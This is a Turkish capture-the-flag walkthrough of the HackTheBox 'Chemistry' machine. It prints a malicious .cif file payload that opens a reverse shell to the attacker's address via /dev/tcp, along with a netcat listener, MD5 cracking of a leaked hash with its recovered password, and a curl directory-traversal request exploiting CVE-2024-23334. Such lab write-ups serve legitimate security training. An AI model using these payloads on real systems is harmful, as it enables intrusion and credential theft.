HackTheBox Chemistry Çözümü
Bu rehberde, HackTheBox platformunda yer alan Chemistry makinesinin çözüm adımlarını detaylıca ele alacağız. Her aşamada kullanılan araçlar ve yöntemlerle, makinenin nasıl ele geçirileceğini açıklıyoruz.
- Oda Linki: Chemistry
- Zorluk: Başlangıç-Orta
1.Nmap Taraması
İlk adım olarak bir nmap taraması gerçekleştiriyoruz. Bu tarama sonucunda 22 (SSH) ve 5000 (HTTP) portlarının açık olduğunu tespit ettik. HTTP servisine dair detaylı incelemeler sonucunda, sunucunun Werkzeug/3.0.3 framework’ü ile çalıştığını anlıyoruz.
2. Gobuster ile Dizin Taraması
Gobuster kullanarak web sunucusundaki dizinleri taradık. Tarama sonucunda /upload, /login ve /register gibi dizinleri tespit ettik. Bu noktada, özellikle /upload dizininin dosya yükleme imkanı sunduğunu fark ediyoruz. Bu, bir reverse shell yükleme fırsatı sunabilir.
İlginizi çekebilecek yazımız: eJPT Sınav Rehberi: Hazırlık Süreci, Araçlar ve Deneyimler
3. Nikto ile Güvenlik Taraması
Nikto aracıyla yapılan güvenlik taramasında kayda değer bir sonuç bulamadık. Bunun üzerine doğrudan siteye yöneliyoruz.
4. Kullanıcı Oluşturma ve Giriş
5000 portu üzerinde çalışan web sitesine eriştiğimizde, bir Register (kayıt) sayfası karşımıza çıktı. Rastgele bir kullanıcı oluşturup, ardından Login (giriş) ekranından sisteme giriş yaptık.
5. Dosya Yükleme ile Shell Elde Etme
Sistemde, .cif uzantılı dosyaların yüklenmesine izin verildiğini fark ettik. Bir reverse shell bağlantısı oluşturmak için bir .cif dosyasını düzenleyip yükledik. Aşağıdaki komutları kullanarak, kendi VPN adresinizi ve port numaranızı dosyaya ekleyin:
H 0.00000 0.00000 0.00000 1 O 0.50000 0.50000 0.50000 1 _space_group_magn.transform_BNS_Pp_abc ‘a,b,[d for d in ().__class__.__mro__[1].__getattribute__(* [().__class__.__mro__[1]]+[“__sub” + “classes__”])() if d.__name__ == “BuiltinImporter”][0]. load_module(“os”).system(“/bin/bash -c ‘sh -i >& /dev/tcp/kendivpnadresiniz/9001 0>&1′”);0,0,0’
Dosyayı düzenledikten sonra yükledik ve bağlantıyı kontrol ettik. ncat kullanarak bağlantıyı dinlemeye başladık:
6. Shell Bağlantısı
Shell.cif view kısmına tıkladığınızda terminale bağlantısı gelmesi lazım.
Not: ncat -lvnp 9001 diyerek önceden dinlemeyi başlatmanız gerekiyor.
7.Veri Tabanı Bilgilerine Erişim
Shell üzerinden, /home/app/instance/ dizinine geçtik ve burada yer alan database.db dosyasını inceliyoruz.
Bu işlem sonucunda başka bir kullanıcı olan rosa ve ona ait bir MD5 şifresi bulduk.
8. MD5 Hash Kırma
- echo “63ed86ee9f624c7b14f1d4f43dc251a5” > hash.txt
- john –format=raw-md5 –wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Kırma işlemi sonucunda şifreyi unicorniosrosados olarak tespit ettik.
9.SSH ile Rosa Kullanıcısına Giriş
Elde ettiğimiz bilgilerle SSH üzerinden rosa kullanıcısına giriş yaptık.
10.Yetki Yükseltme Hazırlıkları
Sistemde linpeas.sh çalıştırarak detaylı bir tarama yaptık. Tarama sonucunda, localhost üzerinde çalışan bir servisin (8080 portu) yetki yükseltmek için kullanılabileceğini öğrendik.
11.Port Yönlendirme
– ssh -L 6666:localhost:8080 [email protected] olarak port yönlendirmesini yapıyoruz.
Tekrar rosa şifresi ile girişi yaptık.
netstat ile kontrol edebilirsiniz listen olarak görmeniz gerekiyor.
12.Site Keşfi
curl -s localhost:8080 yaptığımızda karşımıza site’nin kodları geliyor detaylı inceleme başlıyorum.
Dizin taraması yaptığımda sadece /assets dizini olduğunu tespit ettim.
Server bilgisiyse aiohttp/3.9.1 olduğunu tespit ettim. Araştırdığımda cve-2024-23334 olarak directory traversal açığı olduğunu gördüm.
13. Directory Traversal Zafiyeti
curl -s –path-as-is http://localhost:8080/assets/../../../../etc/passwd baktığımızda aktif olarak açığın olduğunu kesin tespit etmiş olduk. Şimdi direkt root.txt flagını tespit etmeye çalışacağız.
14. Root ve User Bayraklarını Ele Geçirme
Zafiyetten yararlanarak root bayrağına ulaştık:
cat /home/rosa/user.txt
de yazarak user.txt diyerek bayrağı tespit ettik.
Sonuç
Bu rehberde, HackTheBox Chemistry Çözümü başarıyla tamamladık. Kullanılan araçlar ve yöntemler sayesinde hem kullanıcı hem de root erişimi elde ettik. Süreç boyunca dikkat edilmesi gereken noktalar:
- Dosya yükleme zafiyetleri,
- MD5 hash kırma yöntemleri,
- Port yönlendirme teknikleri,
- Directory traversal açıkları.
Herkese başarılar…